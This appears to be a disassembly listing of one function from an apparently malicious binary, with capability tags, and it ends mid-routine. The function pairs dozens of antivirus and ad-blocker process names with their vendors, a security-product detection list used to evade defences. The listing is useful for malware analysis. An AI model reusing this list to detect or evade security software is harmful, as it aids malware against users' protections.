Function at 0x5b46ca
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Parse pe header

Disassembly:
push 0xecc
mov eax, 0x655be8
call fcn.00627f1d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x7119b4]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x711504]
cmp eax, dword [ecx + 4]
jg 0x5b605c
cmp byte [0x70b26c], 0
je 0x5b6051
lea eax, [ebp - 0xecc]
xor ebx, ebx
push eax
mov dword [ebp - 0xecc], ebx
mov dword [ebp - 0xec8], ebx
call fcn.005b31db
mov dword [ebp - 0xecc], eax
lea ecx, [ebp - 0x810]
mov dword [ebp - 4], ebx
mov dword [esp], str.avp.exe
call fcn.00449370
mov esi, str.Kaspersky
mov byte [ebp - 4], 1
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.avpui.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 3
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.nav.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, str.Norton
mov byte [ebp - 4], 5
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.ns.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x7f8]
push esi
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.nortonsecurity.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 9
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.nswscsvc.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0xb
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.ekrn.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, 0x664840
mov byte [ebp - 4], 0xd
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.egui.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0xf
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.eguiproxy.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x11
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.avastsvc.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push str.Avast
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x13
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.mcshield.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push str.McAfee
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x15
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.cavwp.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, str.Comodo
mov byte [ebp - 4], 0x17
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dragon_updater.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x19
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.cis.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x1b
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x1c
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.cmdagent.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x1d
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x1e
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x7f8]
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.psuamain.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, str.Panda
mov byte [ebp - 4], 0x1f
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x20
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.PSUAConsole.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x21
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x22
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.avguard.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push str.Avira
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x23
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x24
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dwengine.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, str.DrWeb
mov byte [ebp - 4], 0x25
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x26
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dwarkdaemon.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x27
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x28
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dwantispam.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x29
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x2a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dwservice.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x2b
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x2c
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dwnetfilter.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x2d
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x2e
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.dwwatcher.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x2f
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x30
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.avgidsagent.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, 0x664980
mov byte [ebp - 4], 0x31
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x32
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.avgToolsSvc.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x33
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x34
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.AVGUI.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov byte [ebp - 4], 0x35
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x36
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.aswEngSrv.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x37
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x38
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.wsc_proxy.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x39
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x3a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.AVGSvc.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x3b
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x3c
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.coreserviceshell.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, str.TrendMicro
mov byte [ebp - 4], 0x3d
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.uiWatchDog.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x3f
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x40
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.Tmsalnstance64.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x41
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x42
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.AMSPTelemetryService.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x43
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x44
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.coreFrameworkHost.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x45
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x46
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.bdagent.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
mov esi, str.BitDefender
mov byte [ebp - 4], 0x47
push esi
lea ecx, [ebp - 0x7f8]
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x48
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.gziface.exe
lea ecx, [ebp - 0x810]
call fcn.00449370
push esi
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x49
call fcn.00449370
lea eax, [ebp - 0x810]
mov byte [ebp - 4], 0x4a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x810]
call fcn.00449320
push str.ProductAgentService.exe
lea ecx, [ebp - 0x870]
call fcn.00449370
push esi
lea ecx, [ebp - 0x858]
mov byte [ebp - 4], 0x4b
call fcn.00449370
lea eax, [ebp - 0x870]
mov byte [ebp - 4], 0x4c
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x858]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x870]
call fcn.00449320
push str.vsservppl.exe
lea ecx, [ebp - 0x840]
call fcn.00449370
push esi
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], 0x4d
call fcn.00449370
lea eax, [ebp - 0x840]
mov byte [ebp - 4], 0x4e
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x840]
call fcn.00449320
push str.bdredline.exe
lea ecx, [ebp - 0x930]
call fcn.00449370
push esi
lea ecx, [ebp - 0x918]
mov byte [ebp - 4], 0x4f
call fcn.00449370
lea eax, [ebp - 0x930]
mov byte [ebp - 4], 0x50
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x918]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x930]
call fcn.00449320
push str.vsserv.exe
lea ecx, [ebp - 0x960]
call fcn.00449370
push esi
lea ecx, [ebp - 0x948]
mov byte [ebp - 4], 0x51
call fcn.00449370
lea eax, [ebp - 0x960]
mov byte [ebp - 4], 0x52
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x948]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x960]
call fcn.00449320
push str.updatesrv.exe
lea ecx, [ebp - 0x990]
call fcn.00449370
push esi
lea ecx, [ebp - 0x978]
mov byte [ebp - 4], 0x53
call fcn.00449370
lea eax, [ebp - 0x990]
mov byte [ebp - 4], 0x54
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x978]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x990]
call fcn.00449320
push str.mbamservice.exe
lea ecx, [ebp - 0x9c0]
call fcn.00449370
push str.MalwareBytes
lea ecx, [ebp - 0x9a8]
mov byte [ebp - 4], 0x55
call fcn.00449370
lea eax, [ebp - 0x9c0]
mov byte [ebp - 4], 0x56
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x9a8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x9c0]
call fcn.00449320
push str.freshclam.exe
lea ecx, [ebp - 0x9f0]
call fcn.00449370
mov esi, str.Clamav
mov byte [ebp - 4], 0x57
push esi
lea ecx, [ebp - 0x9d8]
call fcn.00449370
lea eax, [ebp - 0x9f0]
mov byte [ebp - 4], 0x58
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x9d8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x9f0]
call fcn.00449320
push str.freshclamwrap.exe
lea ecx, [ebp - 0xa20]
call fcn.00449370
push esi
lea ecx, [ebp - 0xa08]
mov byte [ebp - 4], 0x59
call fcn.00449370
lea eax, [ebp - 0xa20]
mov byte [ebp - 4], 0x5a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xa08]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xa20]
call fcn.00449320
push str.gdscan.exe
lea ecx, [ebp - 0xa50]
call fcn.00449370
push str.GData
lea ecx, [ebp - 0xa38]
mov byte [ebp - 4], 0x5b
call fcn.00449370
lea eax, [ebp - 0xa50]
mov byte [ebp - 4], 0x5c
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xa38]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xa50]
call fcn.00449320
push str.a2start.exe
lea ecx, [ebp - 0xa80]
call fcn.00449370
push str.Emsisoft
lea ecx, [ebp - 0xa68]
mov byte [ebp - 4], 0x5d
call fcn.00449370
lea eax, [ebp - 0xa80]
mov byte [ebp - 4], 0x5e
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xa68]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xa80]
call fcn.00449320
push str.k7tsecurity.exe
lea ecx, [ebp - 0xab0]
call fcn.00449370
mov esi, 0x664b3c
mov byte [ebp - 4], 0x5f
push esi
lea ecx, [ebp - 0xa98]
call fcn.00449370
lea eax, [ebp - 0xab0]
mov byte [ebp - 4], 0x60
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xa98]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xab0]
call fcn.00449320
push str.k7tsmain.exe
lea ecx, [ebp - 0xae0]
call fcn.00449370
push esi
lea ecx, [ebp - 0xac8]
mov byte [ebp - 4], 0x61
call fcn.00449370
lea eax, [ebp - 0xae0]
mov byte [ebp - 4], 0x62
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xac8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xae0]
call fcn.00449320
push str.tpeasy.exe
lea ecx, [ebp - 0xb10]
call fcn.00449370
push str.TrustPort
lea ecx, [ebp - 0xaf8]
mov byte [ebp - 4], 0x63
call fcn.00449370
lea eax, [ebp - 0xb10]
mov byte [ebp - 4], 0x64
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xaf8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xb10]
call fcn.00449320
push str.vipreui.exe
lea ecx, [ebp - 0xb40]
call fcn.00449370
push str.Vipre
lea ecx, [ebp - 0xb28]
mov byte [ebp - 4], 0x65
call fcn.00449370
lea eax, [ebp - 0xb40]
mov byte [ebp - 4], 0x66
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xb28]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xb40]
call fcn.00449320
push str.qhactivedefense.exe
lea ecx, [ebp - 0xb70]
call fcn.00449370
mov esi, str.Q360
mov byte [ebp - 4], 0x67
push esi
lea ecx, [ebp - 0xb58]
call fcn.00449370
lea eax, [ebp - 0xb70]
mov byte [ebp - 4], 0x68
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xb58]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xb70]
call fcn.00449320
push str.qhsafetray.exe
lea ecx, [ebp - 0xba0]
call fcn.00449370
push esi
lea ecx, [ebp - 0xb88]
mov byte [ebp - 4], 0x69
call fcn.00449370
lea eax, [ebp - 0xba0]
mov byte [ebp - 4], 0x6a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xb88]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xba0]
call fcn.00449320
push str.qhwatchdog.exe
lea ecx, [ebp - 0xbd0]
call fcn.00449370
push esi
lea ecx, [ebp - 0xbb8]
mov byte [ebp - 4], 0x6b
call fcn.00449370
lea eax, [ebp - 0xbd0]
mov byte [ebp - 4], 0x6c
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xbb8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xbd0]
call fcn.00449320
push str.liveupdate360.exe
lea ecx, [ebp - 0xc00]
call fcn.00449370
push esi
lea ecx, [ebp - 0xbe8]
mov byte [ebp - 4], 0x6d
call fcn.00449370
lea eax, [ebp - 0xc00]
mov byte [ebp - 4], 0x6e
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xbe8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xc00]
call fcn.00449320
push str.360tsliveupd.exe
lea ecx, [ebp - 0xc30]
call fcn.00449370
push esi
lea ecx, [ebp - 0xc18]
mov byte [ebp - 4], 0x6f
call fcn.00449370
lea eax, [ebp - 0xc30]
mov byte [ebp - 4], 0x70
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xc18]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xc30]
call fcn.00449320
push str.adblockerultimategui.exe
lea ecx, [ebp - 0xc60]
call fcn.00449370
push str.AdBlocker
lea ecx, [ebp - 0xc48]
mov byte [ebp - 4], 0x71
call fcn.00449370
lea eax, [ebp - 0xc60]
mov byte [ebp - 4], 0x72
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
mov byte [ebp - 4], bl
lea ecx, [ebp - 0xc48]
call fcn.00449320
lea ecx, [ebp - 0xc60]
call fcn.00449320
push str.adlock.exe
lea ecx, [ebp - 0xc90]
call fcn.00449370
push str.AdLock
lea ecx, [ebp - 0xc78]
mov byte [ebp - 4], 0x73
call fcn.00449370
lea eax, [ebp - 0xc90]
mov byte [ebp - 4], 0x74
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0xc78]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0xc90]
call fcn.00449320
push str.ghostery_midnight.exe
lea ecx, [ebp - 0x8a0]
call fcn.00449370
push str.Ghostery
lea ecx, [ebp - 0x888]
mov byte [ebp - 4], 0x75
call fcn.00449370
lea eax, [ebp - 0x8a0]
mov byte [ebp - 4], 0x76
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x888]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x8a0]
call fcn.00449320
push str.msmpeng.exe
lea ecx, [ebp - 0x8d0]
call fcn.00449370
mov esi, str.Microsoft
mov byte [ebp - 4], 0x77
push esi
lea ecx, [ebp - 0x8b8]
call fcn.00449370
lea eax, [ebp - 0x8d0]
mov byte [ebp - 4], 0x78
push eax
